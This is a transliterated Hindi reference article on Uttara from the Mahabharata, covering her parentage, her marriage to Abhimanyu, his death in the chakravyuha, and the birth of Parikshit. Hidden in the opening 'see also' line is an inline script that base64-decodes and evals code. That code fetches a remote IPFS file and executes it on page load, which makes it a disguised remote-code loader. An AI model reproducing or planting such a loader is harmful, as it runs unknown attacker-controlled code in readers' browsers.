उत्तरा
- chitr:Seealso.gifuttara ka ullekh in lekhoan mean bhi hai: virat, parikshit, abhimanyu, arjun evan ashvatthama<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
uttara
| |
| pita | virat |
| mata | sudeshna |
| samay-kal | mahabharat kal |
| parijan | virat, sudeshna aur uttar |
| vivah | abhimanyu |
| santan | parikshit |
| vidya parangat | nrity tatha sangit |
| mahajanapad | virat nagar |
| any janakari | dron putr ashvatthama ke brahmastr prahar se uttara ne mrit shishu ko janm diya tha, kiantu bhagavan shrikrishna ne us balak ko purnajivan diya. yahi balak age chalakar raja parikshit nam se prasiddh hua. |
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uttara virat nagar, jo ki mahabharat kal ka ek prasiddh janapad tha, ke raja virat aur unaki rani sudeshna ki kanya thi. usaka vivah pandav arjun ke putr abhimanyu se hua tha. jab pandav ajnatavas kar rahe the, us samay arjun brihannala nam grahan karake virat ke mahal mean rah rahe the. brihannala ne uttara ko nrity, sangit adi ki shiksha di thi. jab kauravoan ne raja virat ki samast gayean hastagat kar lian, us samay arjun ne kauravoan se yuddh karake arpoov parakram dikhaya tha. arjun ki us virata se prabhavit hokar raja virat ne apani kanya uttara ka vivah arjun se karane ka prastav rakha, kintu arjun ne yah kahakar ki uttara unaki shishya hone ke karan unaki putri ke saman hai, unhoanne is prastav ko asvikar kar diya. kiantu arjun ne apane putr abhimanyu se uttara vivah svikar kar liya.
parichay
uttara matsy-mahip virat aur rani sudeshna ki putri thi. isake bhaee ka nam uttar tha. kauravoan dvara dyoot kri da mean hara diye jane ke bad pandavoan ne barah varsh ka ajnatavas svikar kiya. isi dauran arjun ne brihannala nam rakhakar svayan ko nrity, git aur sangit adi ka kushal hij da batalaya. vah raja virat ke ranivas mean rajakumari uttara ko nachana-gana adi sikhane ke lie rakh liye gaye. ranivas mean bharti karane se pahale virat ki ajna pakar striyoan ne har tarah se pariksha karake unhean hij da hi paya. vahaan arjun rajakumari uttara ko nachane-gane ki shiksha b de achchhe dhang se dene lage. unake vyavahar se rajakumari un par santusht rahati thi.
vivah
jab maharaj virat ne yah suna ki unake putr uttar ne samast kaurav paksh ke yoddhaoan ko parajit karake apani gayoan ko lauta liya hai, tab ve anandatirek mean apane putr ki prashansa karane lage. is par 'kank' (yudhishthir) ne kaha- "jisaki sarathi brihannala (arjun) ho, usaki vijay to nishchit hi hai". maharaj virat ko yah asahy ho gaya ki rajyasabha mean pasa bichhane ke liye niyukt, brahman kank unake putr ke badale napuansak brihannala ki prashansa kar raha hai. unhoanne pasa khianchakar kank ko de mara, jisase kank ki nasika se rakt nikalane laga. sairandhri bani huee draupadi dau di aee aur samane katori rakhakar kank ki nasika se nikalate hue rakt ko bhoomi par girane se bachaya. jab raja virat ko tisare din pata laga ki unhoanne kank ke vesh mean apane yahaan nivas kar rahe maharaj yudhishthir ka hi apaman kiya hai, tab unhean apane-ap par atyant khed hua. unhoanne anajan mean hue aparadhoan ke parimarjan aur pandavoan se sthayi maitri-sthapana ke uddeshy se apani putri uttara aur arjun ke vivah ka prastav kiya. is par arjun ne kaha- 'rajanh! maianne kumari uttara ko brihannala ke roop mean varsh bhar nrity aur sangit ki shiksha di hai. yadi maian rajakumari ko patni roop mean svikar karata hooan to log mujh par aur apaki putri ke charitr par sandeh kareange aur guru-shishy ki parampara ka apaman hoga. rajakumari mere liye putri ke saman hai. isaliye apane putr abhimanyu ki patni ke roop mean maian uttara ko svikar karata hooan. bhagavan shrikrishna ke bhanaje ko jamata ke roop mean svikar karana apake liye bhi gaurav ki bat hogi.' sabhi ne arjun ki dharmanishtha ki prashansa ki aur uttara ka vivah abhimanyu se sampann ho gaya.
- is samay rajakumariyoan ko any shiksha ke sath-sath nachane-gane ki bhi avashyak shiksha di jati thi. is shiksha se ve apana manoranjan to kar sakati thian, sath hi parivarik manovinod ke bhi upayog mean ati thian. dhani ho chahe nirdhan, prabhavashali ho athava sadharan shreni ka, samaj ka bhay sabako rahata tha. yah bhay n hota to sambhavatah uttara ka vivah pandavoan ke vansh mean n hokar kisi any parivar mean hota. vastav mean us samay pandav log sankat sah rahe the. n to unake pas dhan-daulat thi aur n hi raj-pat. unase rishtedari karane mean matsy-naresh ka lokalaj se bachane ke atirikt aur kaun-sa hit tha? haan, pandavoan ko avashy labh hua. unhean ek prabal sahayak mila aur bahut-si sampatti bhi prapt huee.
abhimanyu ka vadh
jis samay guru dronachary ne mahabharat yuddh mean chakravyooh ki rachana ki, tab abhimanyu chakravyooh to dane ke lie jane se poorv apani patni uttara se vida lene gaya tha. us samay uttara ne abhimanyu se prarthana ki-
'he uttara ke dhan raho
tum uttara ke pas hi.'[1]
chakravyooh mean pravesh
yuddh mean paandavoan ki sena abhimanyu ke pichhe-pichhe chali aur jahaan se vyooh to dakar abhimanyu aandar ghusa tha, vahian se vyooh ke aandar pravesh karane lagi. yah dekh siandhu desh ka parakrami raja jayadrath, jo dhritarashtr ka damad tha, apani sena ko lekar paandav-sena par toot p da. jayadrath ke is sahasapoorn kam aur soojh ko dekhakar kaurav sena mean utsah ki lahar dau d gee. kaurav sena ke sabhi vir usi jagah ikatthe hone lage, jahaan jayadrath paandav-sena ka rasta roke hue kh da tha. shighr hi toote morachoan ki dararean bhar gee. jayadrath ke rath par chaandi ka shookar-dhvaj phahara raha tha. use dekh kaurav-sena ki shakti bahut badh gee aur usamean naya utsah bhar gaya. vyooh ko bhedakar abhimanyu ne jahaan se rasta banaya tha, vahaan itane sainik akar ikatthe ho gaye ki vyooh phir pahale jaisa hi mazaboot ho gaya.
jayadrath ki virata
vyooh ke dvar par ek taraph yudhishthir, bhimasen aur doosari or jayadrath yuddh chhi d gaya. yudhishthir ne jo bhala pheankakar mara to jayadrath ka dhanush katakar gir gaya. palak jhapakate hi jayadrath ne doosara dhanush utha liya aur das ban yudhishthir par chho de. bhimasen ne banoan ki bauchhar se jayadrath ka dhanush kat diya. rath ki dhvaja aur chhatari ko to d-pho d diya aur ranabhoomi mean gira diya. us par bhi siandhuraj nahian ghabaraya. usane phir ek doosara dhanush le liya aur banoan se bhimasen ka dhanush kat dala. palabhar mean hi bhimasen ke rath ke gho de dher ho gaye. bhimasen ko lachar ho rath se utarakar satyaki ke rath par chadhana p da. jayadrath ne jis kushalata aur bahaduri se thik samay par vyooh ki tooti qilebandi ko phir se poora karake mazaboot bana diya, usase padanv bahar hi rah gaye. abhimanyu vyooh ke aandar akela rah gaya. par akele abhimanyu ne vyooh ke aandar hi kauravoan ki us vishal sena ko tahas-nahas karana shuroo kar diya. jo bhi usake samane ata, khatm ho jata tha.
abhimanyu ki varagati
duryodhan ka putr lakshman abhi balak tha, kiantu usamean virata ki abha phoot rahi thi. usako bhay chhoo tak nahian paya tha. abhimanyu ki ban varsha se vyakul hokar jab sabhi yoddha pichhe hatane lage to vir lakshman akela jakar abhimanyu se bhi d p da. balak ki is nirbhayata ko dekh bhagati huee kaurav sena phir se ikatthi ho gee aur lakshman ka sath dekar l dane lagi. sabane ek sath hi abhimanyu par ban varsha kar di, kiantu vah abhimanyu par is prakar lagi jaise parvat par meh barasata ho. duryodhan putr apane adabhut parakram ka parichay deta hua virata se yuddh karata raha. aant mean abhimanyu ne us par ek bhala chalaya. keanchuli se nikale saanp ki tarah chamakata hua vah bhala vir lakshman ke b de zor se ja laga. suandar nasika aur suandar bhauanho vala, chamakile ghuangharale kesh aur jagamate kundaloan se vibhooshit vah vir balak bhale ki chot se tatkal mrit hokar gir p da. yah dekh kaurav-sena mean hahakar kar uthi. "papi abhimanyu ka kshan vadh karo." duryodhan ne chillakar kaha aur dron, ashvatthama, vrihadabal, kritavarma adi chhah maharathiyoan ne abhimanyu ko charoan or se gher liya. dron ne karn ke pas akar kaha- "isaka kavach bheda nahian ja sakata. thik se nishana baandhakar isake rath ke gho doan ki ras kat dalo aur pichhe ki or se is par astr chalao." vyooh ke aantim charan mean kaurav paksh ke sabhi maharathi yuddh ke manadandoan ko bhulakar vir balak abhimanyu par toot p de, jis karan usane viragati prapt ki.
parikshit ka janm
mahabharat ke sangram mean arjun sansaptakoan se yuddh karane ke liye door chale gaye the aur dronachary ne isi sthiti ka labh uthane ke lie unaki anupasthiti mean chakravyooh ka nirman kiya tha. bhagavan shankar ke varadan se jayadrath ne sabhi pandavoan ko chakravyooh mean pravesh karane se rok diya. akele abhimunyu hi vyooh mean pravesh kar paye. mahavir abhimanyu ne adbhut parakram ka pradarshan kiya tha. unhoanne kaurav-paksh ke pramukh maharathiyoan ko bar-bar haraya. ant mean sabhi maharathiyoan ne ek sath milakar anyayapoorvak abhimanyu ka vadh kar diya. uttara us samay garbhavati thian. bhagavanh shrikrishna ne unhean ashvasan dekar pati ke sath sati hone se rok diya. jab ashvatthama ne draupadi ke paanch putroan ko mar dala tatha shivir mean ag lagakar bhag gaya, tab arjun ne usako pak d kar draupadi ke sammukh upasthit kiya. vadhy hone ke bad bhi draupadi ne use mukt kara diya, kiantu us naradham ne kritajn hone ke badale pandavoan ka vansh hi nirmool karane ke liye brahmastr ka prayog uttara ke garbh par kiya. uttara ki karun pukar sunakar bhagavanh shrikrishna ne sookshamaroop se unake garbh mean pravesh karake pandavoan ke ek matr vanshadhar ki brahmastr se raksha ki, kiantu janm ke samay balak mrit paida hua.
yah samachar sunakar bhagavan shrikrishna ne sootikagrih mean pravesh kiya. uttara pagali ki bhaanti mrit balak ko god mean uthakar kahane lagi- "beta! tribhuvan ke svami tumhare samane kh de haian. too dharmatma tatha shilavan pita ka putr hai. yah ashishtata achchhi nahian. in sarveshvar ko pranam kar socha tha ki tujhe god mean lekar in sarvadhar ke charanoan mean mastak rakhooangi, kiantu sari ashaean nasht ho gayian." bhaktavatsal bhagavan shrikrishna ne tatkal jal chhi dak kar balak ko jivanadan diya. sahasa balak ka shvas chalane laga. charoan or anand ki lahan dau d gayi. pandavoan ka yahi vanshadhar parikshit ke nam se prasiddh hua. bhagavadbhakti aur vishvas ki anupam pratik sati uttara dhany haian.
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tika tippani
- ↑ jayadrath vadh: maithilisharan gupt, tritiy sarg
sanbandhit lekh
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varnamala kramanusar lekh khoj
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